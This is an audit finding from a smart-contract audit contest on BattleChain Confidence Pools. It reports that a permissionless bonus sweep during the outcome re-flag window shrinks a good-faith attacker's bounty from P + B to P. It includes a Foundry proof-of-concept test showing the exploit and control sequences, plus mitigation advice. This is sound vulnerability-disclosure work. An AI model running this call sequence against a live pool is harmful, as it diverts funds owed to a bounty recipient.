BattleChain Confidence Pools
Cyfrin
FoundrySolidityLayer 2
7.25 ETH
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: low

Permissionless bonus sweep during the re-flag window reduces the good-faith attacker's bounty

Author Revealed upon completion

Root + Impact

Description

  • The protocol lets the moderator correct a pool's outcome by re-flagging, and keeps that correction window open until claimsStarted is set (DESIGN.md #4 describes this window as closing once value has left the contract). Until then, flagOutcome can be called again.

  • sweepUnclaimedBonus transfers the bonus out of the pool to recoveryAddress but does not set claimsStarted. So value can leave the contract while the re-flag window is still open. The exploit and control paths differ only by the interleaved sweepUnclaimedBonus() call.

  • If the moderator subsequently re-flags the pool as good-faith CORRUPTED, bountyEntitlement is recomputed from snapshotTotalBonus, which the sweep has already reduced to zero. The attacker's entitlement is therefore P instead of P + B, and B remains at recoveryAddress.

// sweepUnclaimedBonus — value leaves the pool:
stakeToken.safeTransfer(recoveryAddress, amount);
// @> claimsStarted intentionally not set (ConfidencePool.sol:503-506), so re-flagging stays permitted
​
// flagOutcome re-flag path, reached while claimsStarted == false:
if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet(); // @> re-flag allowed: claimsStarted is false (L327)
...
snapshotTotalBonus = totalBonus; // @> re-reads drained totalBonus == 0 (L358)
bountyEntitlement = willBeGoodFaithCorrupted
? snapshotTotalStaked + snapshotTotalBonus // @> P + 0, shorted by B (L362)
: 0;

Risk

Likelihood:

  • The pool is initially flagged SURVIVED and is subsequently re-flagged good-faith CORRUPTED before claimsStarted becomes true, using the documented pre-claim correction mechanism (#4)

Impact:

  • The good-faith attacker's entitlement is reduced from P + B to P because B has already been transferred to recoveryAddress.

  • Triggerable by any unprivileged caller, the loss falls on the attacker, who is not yet a party to the pool when the value moves.

Proof of Concept

run the test by the command forge test --match-path 'test/poc/SweepReflagBonusRedirection.t.sol' -vvvv

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
​
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
​
/// @notice Registry double that enforces the real CORRUPTED transition gate.
/// markCorrupted (AttackRegistry.sol:322) and instantCorrupt (:412) both require the
/// current state to be UNDER_ATTACK or PROMOTION_REQUESTED. Enforcing it here means a
/// passing test only ever reaches CORRUPTED via a legal transition.
contract GatedAttackRegistry {
IAttackRegistry.ContractState internal state;
​
error IllegalCorruptTransition(IAttackRegistry.ContractState from);
​
function setAgreementState(IAttackRegistry.ContractState next) external {
if (next == IAttackRegistry.ContractState.CORRUPTED) {
if (
state != IAttackRegistry.ContractState.UNDER_ATTACK
&& state != IAttackRegistry.ContractState.PROMOTION_REQUESTED
) {
revert IllegalCorruptTransition(state);
}
}
state = next;
}
​
function getAgreementState(address) external view returns (IAttackRegistry.ContractState) {
return state;
}
}
​
/// @notice PoC: a permissionless sweepUnclaimedBonus() moves the bonus to recoveryAddress
/// without setting claimsStarted, so a later moderator re-flag to good-faith CORRUPTED
/// computes bountyEntitlement from a totalBonus that is already 0.
/// Exploit vs control differ by one call: the interleaved sweep.
contract SweepReflagBonusRedirection is BaseConfidencePoolTest {
uint256 internal constant P = 100 ether; // alice's principal
uint256 internal constant B = 50 ether; // bob's bonus
​
GatedAttackRegistry internal gated;
​
function setUp() public override {
super.setUp();
// Repoint the pool at the gated registry. Seed NEW_DEPLOYMENT so deposits are
// allowed and riskWindowStart stays 0 through them (pre-attack state).
gated = new GatedAttackRegistry();
gated.setAgreementState(IAttackRegistry.ContractState.NEW_DEPLOYMENT);
safeHarborRegistry.setAttackRegistry(address(gated));
}
​
/// @dev Deposits land pre-attack. Registry then passes through UNDER_ATTACK with no
/// pool interaction observing it, then to CORRUPTED. riskWindowStart stays 0 throughout.
function _reachSurvivedWithUnownedBonus() internal {
_stake(alice, P);
_contributeBonus(bob, B);
​
gated.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
assertEq(pool.riskWindowStart(), 0, "active-risk interval elapsed unobserved");
gated.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
​
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
​
assertEq(pool.riskWindowStart(), 0, "no risk window observed");
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED), "flagged SURVIVED");
assertEq(pool.snapshotTotalBonus(), B, "snapshot bonus = B");
assertEq(pool.totalBonus(), B, "live bonus = B before sweep");
assertEq(pool.claimsStarted(), false, "re-flag window open");
}
​
/// @notice The gated registry rejects the structurally-impossible pre-attack -> CORRUPTED
/// jump, so the exploit's CORRUPTED state is reached only via a legal transition.
function test_registry_cannot_jump_to_corrupted_from_pre_attack() public {
assertEq(
uint256(gated.getAgreementState(agreement)), uint256(IAttackRegistry.ContractState.NEW_DEPLOYMENT)
);
vm.expectRevert(
abi.encodeWithSelector(
GatedAttackRegistry.IllegalCorruptTransition.selector,
IAttackRegistry.ContractState.NEW_DEPLOYMENT
)
);
gated.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
}
​
/// @notice Exploit: sweep before the re-flag. Attacker receives P; recovery keeps B.
function test_sweep_then_reflag_shorts_attacker() public {
_reachSurvivedWithUnownedBonus();
​
uint256 recoveryBefore = token.balanceOf(recovery);
​
pool.sweepUnclaimedBonus();
​
assertEq(token.balanceOf(recovery) - recoveryBefore, B, "B swept to recovery");
assertEq(pool.totalBonus(), 0, "live bonus now 0");
assertEq(pool.claimsStarted(), false, "claimsStarted still false after sweep");
​
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
​
assertEq(pool.bountyEntitlement(), P, "entitlement computed as P (bonus already 0)");
​
vm.prank(attacker);
pool.claimAttackerBounty();
​
assertEq(token.balanceOf(attacker), P, "attacker received P");
assertEq(token.balanceOf(recovery) - recoveryBefore, B, "B remains at recovery");
assertEq(token.balanceOf(address(pool)), 0, "pool empty");
}
​
/// @notice Control: same flow, no sweep. Attacker receives P + B.
function test_control_no_sweep_attacker_whole() public {
_reachSurvivedWithUnownedBonus();
​
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
​
assertEq(pool.bountyEntitlement(), P + B, "entitlement = P + B");
​
vm.prank(attacker);
pool.claimAttackerBounty();
​
assertEq(token.balanceOf(attacker), P + B, "attacker received P + B");
}
}

Recommended Mitigation

The violated invariant is that a re-flag must never recompute settlement (bountyEntitlement and the snapshots feeding it) from accounting that has already been economically finalized by an earlier value-moving operation.

​
Restore this invariant by ensuring either:
​
- value that influences settlement cannot change while the moderator's correction window remains open, or
- a subsequent re-flag cannot recompute entitlements from accounting already modified by an earlier value-moving operation.
​
The appropriate implementation depends on the intended protocol semantics. Possible approaches include preventing value-moving operations during the correction window, closing the correction window before such operations, or preserving the original settlement inputs across re-flags.
​
The mitigation should preserve the existing anti-griefing property documented for sweepUnclaimedBonus, simply setting claimsStarted unconditionally during the sweep may introduce different behavioral changes and is therefore not necessarily the appropriate fix.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!